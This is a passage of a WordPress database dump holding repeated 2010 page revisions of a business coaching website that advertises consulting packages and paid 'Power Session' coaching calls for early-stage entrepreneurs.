class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future. </span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:43:29', '2010-12-02 00:43:29', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-95/', 0, 'revision', '', 0),
(1293, 2, '2010-12-01 17:44:17', '2010-12-02 00:44:17', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:44:17', '2010-12-02 00:44:17', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-96/', 0, 'revision', '', 0);
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(1294, 2, '2010-12-01 17:45:05', '2010-12-02 00:45:05', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:45:05', '2010-12-02 00:45:05', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-97/', 0, 'revision', '', 0),
(1295, 2, '2010-12-01 17:59:22', '2010-12-02 00:59:22', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. Please visit my brand strategy consulting firm, <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:59:22', '2010-12-02 00:59:22', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-98/', 0, 'revision', '', 0),
(1296, 2, '2010-03-11 12:17:07', '2010-03-11 19:17:07', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions via email that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Power Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $500 USD</span><span style="color: #ff6600;">\r\nImmersion Power Session: $2,500 USD</span>\r\nI offer an Immersion Jam of (6) additional Power Sessions to keep the momentum going enabling you an opportunity to gain deeper insight and guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-03-11 12:17:07', '2010-03-11 19:17:07', '', 200, 'http://www.whitehotcenter.com/2010/03/11/200-revision-21/', 0, 'revision', '', 0),
(1297, 2, '2010-12-03 17:17:49', '2010-12-04 00:17:49', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here?What fires you up? What really matters to you? What do you want out of your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future 